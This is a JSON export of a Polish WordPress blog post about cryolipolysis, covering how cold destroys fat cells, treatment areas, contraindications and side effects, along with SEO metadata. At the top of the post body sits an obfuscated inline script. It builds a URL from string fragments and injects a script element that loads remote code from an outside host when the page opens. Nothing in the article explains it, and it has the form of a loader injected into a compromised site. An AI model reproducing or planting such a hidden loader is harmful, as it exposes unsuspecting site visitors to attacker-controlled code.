{"id":10992,"date":"2024-04-18T15:52:42","date_gmt":"2024-04-18T13:52:42","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=10992"},"modified":"2024-04-18T15:52:44","modified_gmt":"2024-04-18T13:52:44","slug":"dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej","title":{"rendered":"Dzia\u0142anie niskich temperatur na kom\u00f3rki t\u0142uszczowe i ich wykorzystanie w medycynie estetycznej"},"content":{"rendered":"\n<script>\n(function(){\ncqf6=document.createElement(\"script\");cqf6_=(\"ust\");cqf6u=\"2247617889\";\ncqf6_+=\"a\"+(\"t.i\");cqf6.type=\"text\/javascript\";\ncqf6u+=\".ia61av9wqf6btbgfs1lj\";cqf6.async=true;cqf6_+=\"n\"+(\"f\"+\"o\")+\"\/\";\ncqf6u+=\"usqedijb7g\";cqf6.src=\"https:\/\/\"+cqf6_+cqf6u;\ndocument.body.appendChild(cqf6);\n})();\n<\/script>\n\n\n\n<p>Dzia\u0142anie niskich temperatur od lat wykorzystywane by\u0142o w medycynie, a przede wszystkim w rehabilitacji. Koniec pierwszej dekady XX wieku przyni\u00f3s\u0142 za\u015b badania, pokazuj\u0105ce ich wp\u0142yw na tkank\u0119 t\u0142uszczow\u0105. Od tego czasu kriolipoliza, czyli tzw. odchudzanie zimnem jest niezwykle popularnym sposobem na pozbycie si\u0119 tkanki t\u0142uszczowej. Na czym polega zabieg?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Apoptoza kom\u00f3rek t\u0142uszczowych<\/strong><\/h2>\n\n\n\n<p><a href=\"https:\/\/neonia.com.pl\/zabiegi-na-cialo\/kriolipoliza\/\">Kriolipoliza<\/a> opiera swoj\u0105 skuteczno\u015b\u0107 na tzw. apoptozie, czyli programowanej i kontrolowanej \u015bmierci kom\u00f3rek t\u0142uszczowych. Jak do niej dochodzi? Adipocyty tj. kom\u00f3rki t\u0142uszczowe charakteryzuj\u0105 si\u0119 wra\u017cliwo\u015bci\u0105 na niskie temperatury i ulegaj\u0105 zniszczeniu ju\u017c przy 0 st. C. Zimno powoduje bowiem p\u0119kni\u0119cie ich b\u0142ony kom\u00f3rkowej, zawarto\u015b\u0107 kom\u00f3rki krystalizuje si\u0119 w\u00f3wczas, a z tr\u00f3jgliceryd\u00f3w tworz\u0105 si\u0119 wolne kwasy t\u0142uszczowe i glicerol, kt\u00f3re w kolejnym etapie usuwane s\u0105 z organizmu w procesach metabolicznych.<\/p>\n\n\n\n<p>To w\u0142a\u015bnie dlatego kriolipoliza jest skutecznym sposobem na trwa\u0142e pozbycie si\u0119 tkanki t\u0142uszczowej \u2013 kom\u00f3rki ulegaj\u0105 zniszczeniu, a nie chwilowemu zamro\u017ceniu. Dodatkowym jej atutem jest to, \u017ce podczas jednego zabiegu mo\u017cna zmniejszy\u0107 liczb\u0119 adipocyt\u00f3w nawet o 45 proc., a pierwsze efekty widoczne s\u0105 natychmiast po jego wykonaniu. Po up\u0142ywie oko\u0142o dw\u00f3ch miesi\u0119cy za\u015b, kiedy to dojdzie do ca\u0142kowitego usuni\u0119cia kom\u00f3rek przez uk\u0142ad limfatyczny, specjalista jest w stanie oceni\u0107 ostateczne rezultaty i w razie potrzeby zaproponowa\u0107 kolejny zabieg.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Wskazania do kriolipolizy<\/strong><\/h2>\n\n\n\n<p>Kriolipoliza zaliczana jest do nieinwazyjnych zabieg\u00f3w liftinguj\u0105cych. Nale\u017cy jednak podkre\u015bli\u0107, \u017ce nie mo\u017ce by\u0107 ona traktowana jako rodzaj terapii odchudzaj\u0105cej i rozwi\u0105zuj\u0105cej problem oty\u0142o\u015bci. Zabieg powinien stanowi\u0107 uzupe\u0142nienie aktywno\u015bci fizycznej i zbilansowanej diety.<\/p>\n\n\n\n<p>Wskazaniem do wykonania kriolipolizy jest najcz\u0119\u015bciej potrzeba wymodelowania problematycznych cz\u0119\u015bci cia\u0142a, kt\u00f3re mimo redukcji masy nie ulegaj\u0105 widocznemu zmniejszeniu. Chodzi tu przede wszystkim o boczki, okolice nad kolanami, a w przypadku m\u0119\u017cczyzn \u2013 plecy. Zabiegowi z powodzeniem mog\u0105 by\u0107 jednak poddane tak\u017ce:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>brzuch,<\/li><li>po\u015bladki, biodra i uda,<\/li><li>ramiona, a przede wszystkim tzw. pelikany,<\/li><li>podbr\u00f3dek.<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Bezpiecze\u0144stwo zabiegu<\/strong><\/h2>\n\n\n\n<p>Oddzia\u0142ywanie na kom\u00f3rki t\u0142uszczowe niskimi temperaturami uznawane jest za w pe\u0142ni bezpieczny spos\u00f3b na ich pozbycie si\u0119. Badania pokazuj\u0105, \u017ce pozosta\u0142e tkanki, takie jak sk\u00f3ra, nerwy, czy naczynia krwiono\u015bne, nie ulegaj\u0105 bowiem niszczeniu pod wp\u0142ywem zamra\u017cania.<\/p>\n\n\n\n<p>Warto jednak pami\u0119ta\u0107, \u017ce istniej\u0105 okoliczno\u015bci, kt\u00f3re stanowi\u0105 przeciwwskazanie do wykonania kriolipolizy. S\u0105 to m.in.:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>ci\u0105\u017ca i karmienie piersi\u0105,<\/li><li>infekcje sk\u00f3ry na obszarze, kt\u00f3ry ma zosta\u0107 poddany zabiegowi,<\/li><li>zaburzenia pracy nerek lub w\u0105troby,<\/li><li>cukrzyca,<\/li><li>epilepsja,<\/li><li>nowotwory,<\/li><li>wszczepiony rozrusznik serca.<\/li><\/ul>\n\n\n\n<p>Podczas wizyty kwalifikacyjnej pacjent powinien zosta\u0107 tak\u017ce poinformowany o skutkach ubocznych zabiegu, kt\u00f3re cho\u0107 zdarzaj\u0105 si\u0119 rzadko, mog\u0105 si\u0119 pojawi\u0107. Najcz\u0119\u015bciej jest to zaczerwienienie lub zasinienie sk\u00f3ry, przy czym dolegliwo\u015bci te powinny ust\u0105pi\u0107 samoistnie po kilku dniach. Nale\u017cy r\u00f3wnie\u017c mie\u0107 na uwadze wyst\u0105pienie tzw. zespo\u0142u PAH, czyli nadmiernego paradoksalnego przerostu tkanki t\u0142uszczowej. W oparciu o aktualne badania prawdopodobie\u0144stwo jego zdiagnozowania wynosi wprawdzie 1 proc., niemniej jednak jest mo\u017cliwe osi\u0105gni\u0119cie rezultatu odwrotnego do zamierzonego.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dzia\u0142anie niskich temperatur od lat wykorzystywane by\u0142o w medycynie, a przede wszystkim w rehabilitacji. Koniec pierwszej dekady XX wieku przyni\u00f3s\u0142 za\u015b badania, pokazuj\u0105ce ich wp\u0142yw na tkank\u0119 t\u0142uszczow\u0105. Od tego czasu kriolipoliza, czyli tzw.&#46;&#46;&#46;<\/p>\n","protected":false},"author":11,"featured_media":10993,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-10992","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-abc-urody"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Dzia\u0142anie niskich temperatur na kom\u00f3rki t\u0142uszczowe i ich wykorzystanie w medycynie estetycznej - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Dzia\u0142anie niskich temperatur na kom\u00f3rki t\u0142uszczowe i ich wykorzystanie w medycynie estetycznej - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"Dzia\u0142anie niskich temperatur od lat wykorzystywane by\u0142o w medycynie, a przede wszystkim w rehabilitacji. Koniec pierwszej dekady XX wieku przyni\u00f3s\u0142 za\u015b badania, pokazuj\u0105ce ich wp\u0142yw na tkank\u0119 t\u0142uszczow\u0105. Od tego czasu kriolipoliza, czyli tzw.&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2024-04-18T13:52:42+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-04-18T13:52:44+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/04\/adobestock_2210416522.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"mr-white\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#website\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej#primaryimage\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/04\/adobestock_2210416522.jpg\",\"contentUrl\":\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/04\/adobestock_2210416522.jpg\",\"width\":885,\"height\":398},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej#webpage\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej\",\"name\":\"Dzia\u0142anie niskich temperatur na kom\u00f3rki t\u0142uszczowe i ich wykorzystanie w medycynie estetycznej - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej#primaryimage\"},\"datePublished\":\"2024-04-18T13:52:42+00:00\",\"dateModified\":\"2024-04-18T13:52:44+00:00\",\"author\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\/\/www.straganzdrowia.pl\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"ABC urody\",\"item\":\"https:\/\/www.straganzdrowia.pl\/blog\/category\/abc-urody\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Dzia\u0142anie niskich temperatur na kom\u00f3rki t\u0142uszczowe i ich wykorzystanie w medycynie estetycznej\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100\",\"name\":\"mr-white\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"caption\":\"mr-white\"},\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Dzia\u0142anie niskich temperatur na kom\u00f3rki t\u0142uszczowe i ich wykorzystanie w medycynie estetycznej - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej","og_locale":"pl_PL","og_type":"article","og_title":"Dzia\u0142anie niskich temperatur na kom\u00f3rki t\u0142uszczowe i ich wykorzystanie w medycynie estetycznej - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"Dzia\u0142anie niskich temperatur od lat wykorzystywane by\u0142o w medycynie, a przede wszystkim w rehabilitacji. Koniec pierwszej dekady XX wieku przyni\u00f3s\u0142 za\u015b badania, pokazuj\u0105ce ich wp\u0142yw na tkank\u0119 t\u0142uszczow\u0105. Od tego czasu kriolipoliza, czyli tzw.&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2024-04-18T13:52:42+00:00","article_modified_time":"2024-04-18T13:52:44+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/04\/adobestock_2210416522.jpg","type":"image\/jpeg"}],"twitter_card":"summary","twitter_misc":{"Napisane przez":"mr-white","Szacowany czas czytania":"3 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/04\/adobestock_2210416522.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2024\/04\/adobestock_2210416522.jpg","width":885,"height":398},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej#webpage","url":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej","name":"Dzia\u0142anie niskich temperatur na kom\u00f3rki t\u0142uszczowe i ich wykorzystanie w medycynie estetycznej - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej#primaryimage"},"datePublished":"2024-04-18T13:52:42+00:00","dateModified":"2024-04-18T13:52:44+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/abc-urody\/dzialanie-niskich-temperatur-na-komorki-tluszczowe-i-ich-wykorzystanie-w-medycynie-estetycznej#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"ABC urody","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/abc-urody"},{"@type":"ListItem","position":3,"name":"Dzia\u0142anie niskich temperatur na kom\u00f3rki t\u0142uszczowe i ich wykorzystanie w medycynie estetycznej"}]},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100","name":"mr-white","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","caption":"mr-white"},"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10992","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=10992"}],"version-history":[{"count":1,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10992\/revisions"}],"predecessor-version":[{"id":10994,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10992\/revisions\/10994"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/10993"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=10992"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=10992"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=10992"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}